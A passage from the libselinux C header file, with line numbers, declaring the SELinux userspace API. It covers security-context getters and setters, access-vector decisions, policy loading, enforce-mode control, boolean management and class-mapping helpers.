it. Caller must free via freecon. */ 42 | extern int getpidcon(pid_t pid, security_context_t * con); 43 | 44 | /* Get previous context (prior to last exec), and set *con to refer to it. 45 | Caller must free via freecon. */ 46 | extern int getprevcon(security_context_t * con); 47 | 48 | /* Get exec context, and set *con to refer to it. 49 | Sets *con to NULL if no exec context has been set, i.e. using default. 50 | If non-NULL, caller must free via freecon. */ 51 | extern int getexeccon(security_context_t * con); 52 | 53 | /* Set exec security context for the next execve. 54 | Call with NULL if you want to reset to the default. */ 55 | extern int setexeccon(const security_context_t con); 56 | 57 | /* Get fscreate context, and set *con to refer to it. 58 | Sets *con to NULL if no fs create context has been set, i.e. using default. 59 | If non-NULL, caller must free via freecon. */ 60 | extern int getfscreatecon(security_context_t * con); 61 | 62 | /* Set the fscreate security context for subsequent file creations. 63 | Call with NULL if you want to reset to the default. */ 64 | extern int setfscreatecon(const security_context_t context); 65 | 66 | /* Get keycreate context, and set *con to refer to it. 67 | Sets *con to NULL if no key create context has been set, i.e. using default. 68 | If non-NULL, caller must free via freecon. */ 69 | extern int getkeycreatecon(security_context_t * con); 70 | 71 | /* Set the keycreate security context for subsequent key creations. 72 | Call with NULL if you want to reset to the default. */ 73 | extern int setkeycreatecon(const security_context_t context); 74 | 75 | /* Get sockcreate context, and set *con to refer to it. 76 | Sets *con to NULL if no socket create context has been set, i.e. using default. 77 | If non-NULL, caller must free via freecon. */ 78 | extern int getsockcreatecon(security_context_t * con); 79 | 80 | /* Set the sockcreate security context for subsequent socket creations. 81 | Call with NULL if you want to reset to the default. */ 82 | extern int setsockcreatecon(const security_context_t context); 83 | 84 | /* Wrappers for the xattr API. */ 85 | 86 | /* Get file context, and set *con to refer to it. 87 | Caller must free via freecon. */ 88 | extern int getfilecon(const char *path, security_context_t * con); 89 | extern int lgetfilecon(const char *path, security_context_t * con); 90 | extern int fgetfilecon(int fd, security_context_t * con); 91 | 92 | /* Set file context */ 93 | extern int setfilecon(const char *path, security_context_t con); 94 | extern int lsetfilecon(const char *path, security_context_t con); 95 | extern int fsetfilecon(int fd, security_context_t con); 96 | 97 | /* Wrappers for the socket API */ 98 | 99 | /* Get context of peer socket, and set *con to refer to it. 100 | Caller must free via freecon. */ 101 | extern int getpeercon(int fd, security_context_t * con); 102 | 103 | /* Wrappers for the selinuxfs (policy) API. */ 104 | 105 | typedef unsigned int access_vector_t; 106 | typedef unsigned short security_class_t; 107 | 108 | struct av_decision { 109 | access_vector_t allowed; 110 | access_vector_t decided; 111 | access_vector_t auditallow; 112 | access_vector_t auditdeny; 113 | unsigned int seqno; 114 | unsigned int flags; 115 | }; 116 | 117 | /* Definitions of av_decision.flags */ 118 | #define SELINUX_AVD_FLAGS_PERMISSIVE 0x0001 119 | 120 | /* Structure for passing options, used by AVC and label subsystems */ 121 | struct selinux_opt { 122 | int type; 123 | const char *value; 124 | }; 125 | 126 | /* Callback facilities */ 127 | union selinux_callback { 128 | /* log the printf-style format and arguments, 129 | with the type code indicating the type of message */ 130 | int 131 | #ifdef __GNUC__ 132 | __attribute__ ((format(printf, 2, 3))) 133 | #endif 134 | (*func_log) (int type, const char *fmt, ...); 135 | /* store a string representation of auditdata (corresponding 136 | to the given security class) into msgbuf. */ 137 | int (*func_audit) (void *auditdata, security_class_t cls, 138 | char *msgbuf, size_t msgbufsize); 139 | /* validate the supplied context, modifying if necessary */ 140 | int (*func_validate) (security_context_t *ctx); 141 | /* netlink callback for setenforce message */ 142 | int (*func_setenforce) (int enforcing); 143 | /* netlink callback for policyload message */ 144 | int (*func_policyload) (int seqno); 145 | }; 146 | 147 | #define SELINUX_CB_LOG 0 148 | #define SELINUX_CB_AUDIT 1 149 | #define SELINUX_CB_VALIDATE 2 150 | #define SELINUX_CB_SETENFORCE 3 151 | #define SELINUX_CB_POLICYLOAD 4 152 | 153 | extern union selinux_callback selinux_get_callback(int type); 154 | extern void selinux_set_callback(int type, union selinux_callback cb); 155 | 156 | /* Logging type codes, passed to the logging callback */ 157 | #define SELINUX_ERROR 0 158 | #define SELINUX_WARNING 1 159 | #define SELINUX_INFO 2 160 | #define SELINUX_AVC 3 161 | 162 | /* Compute an access decision. */ 163 | extern int security_compute_av(const security_context_t scon, 164 | const security_context_t tcon, 165 | security_class_t tclass, 166 | access_vector_t requested, 167 | struct av_decision *avd); 168 | 169 | /* Compute a labeling decision and set *newcon to refer to it. 170 | Caller must free via freecon. */ 171 | extern int security_compute_create(const security_context_t scon, 172 | const security_context_t tcon, 173 | security_class_t tclass, 174 | security_context_t * newcon); 175 | 176 | /* Compute a relabeling decision and set *newcon to refer to it. 177 | Caller must free via freecon. */ 178 | extern int security_compute_relabel(const security_context_t scon, 179 | const security_context_t tcon, 180 | security_class_t tclass, 181 | security_context_t * newcon); 182 | 183 | /* Compute a polyinstantiation member decision and set *newcon to refer to it. 184 | Caller must free via freecon. */ 185 | extern int security_compute_member(const security_context_t scon, 186 | const security_context_t tcon, 187 | security_class_t tclass, 188 | security_context_t * newcon); 189 | 190 | /* Compute the set of reachable user contexts and set *con to refer to 191 | the NULL-terminated array of contexts. Caller must free via freeconary. */ 192 | extern int security_compute_user(const security_context_t scon, 193 | const char *username, 194 | security_context_t ** con); 195 | 196 | /* Load a policy configuration. */ 197 | extern int security_load_policy(void *data, size_t len); 198 | 199 | /* Get the context of an initial kernel security identifier by name. 200 | Caller must free via freecon */ 201 | extern int security_get_initial_context(const char *name, 202 | security_context_t * con); 203 | 204 | /* Translate boolean strict to name value pair. */ 205 | typedef struct { 206 | char *name; 207 | int value; 208 | } SELboolean; 209 | /* save a list of booleans in a single transaction. */ 210 | extern int security_set_boolean_list(size_t boolcnt, 211 | SELboolean * boollist, int permanent); 212 | 213 | /* Check the validity of a security context. */ 214 | extern int security_check_context(const security_context_t con); 215 | 216 | /* Canonicalize a security context. */ 217 | extern int security_canonicalize_context(const security_context_t con, 218 | security_context_t * canoncon); 219 | 220 | /* Get the enforce flag value. */ 221 | extern int security_getenforce(void); 222 | 223 | /* Set the enforce flag value. */ 224 | extern int security_setenforce(int value); 225 | 226 | /* Get the behavior for undefined classes/permissions */ 227 | extern int security_deny_unknown(void); 228 | 229 | /* Disable SELinux at runtime (must be done prior to initial policy load). */ 230 | extern int security_disable(void); 231 | 232 | /* Get the policy version number. */ 233 | extern int security_policyvers(void); 234 | 235 | /* Get the boolean names */ 236 | extern int security_get_boolean_names(char ***names, int *len); 237 | 238 | /* Get the pending value for the boolean */ 239 | extern int security_get_boolean_pending(const char *name); 240 | 241 | /* Get the active value for the boolean */ 242 | extern int security_get_boolean_active(const char *name); 243 | 244 | /* Set the pending value for the boolean */ 245 | extern int security_set_boolean(const char *name, int value); 246 | 247 | /* Commit the pending values for the booleans */ 248 | extern int security_commit_booleans(void); 249 | 250 | /* Userspace class mapping support */ 251 | struct security_class_mapping { 252 | const char *name; 253 | const char *perms[sizeof(access_vector_t) * 8 + 1]; 254 | }; 255 | 256 | extern int selinux_set_mapping(struct security_class_mapping *map); 257 | 258 | /* Common helpers */ 259 | 260 | /* Convert between security class values and string names */ 261 | extern security_class_t string_to_security_class(const char *name); 262 | extern const char *security_class_to_string(security_class_t cls); 263 | 264 | /* Convert between individual access vector permissions and string names */ 265 | extern const char *security_av_perm_to_string(security_class_t tclass, 266 | access_vector_t perm); 267 | extern access_vector_t string_to_av_perm(security_class_t tclass, 268 | const char *name); 269 | 270 | /* Returns an access vector in a string representation. User must free the 271 | * returned string via free(). */ 272 | extern int security_av_string(security_class_t tclass, 273 | access_vector_t av, char **result); 274 | 275 | /* Check permissions and perform appropriate auditing. */ 276 | extern int selinux_check_access(const security_context_t scon, 277 | const security_context_t tcon, 278 | const char *tclass, 279 | const char *perm, void *aux); 280 | 281 | /* Set the path to the selinuxfs mount point explicitly. 282 | Normally, this is determined automatically during libselinux 283 | initialization, but this is not always possible, e.g. for /sbin/init 284 | which performs the initial mount of selinuxfs. */ 285 | void set_selinuxmnt(char *mnt); 286 | 287 | #ifdef __cplusplus 288 | } 289 | #endif 290 | #endif 291 | --------------------------------------------------------------------------------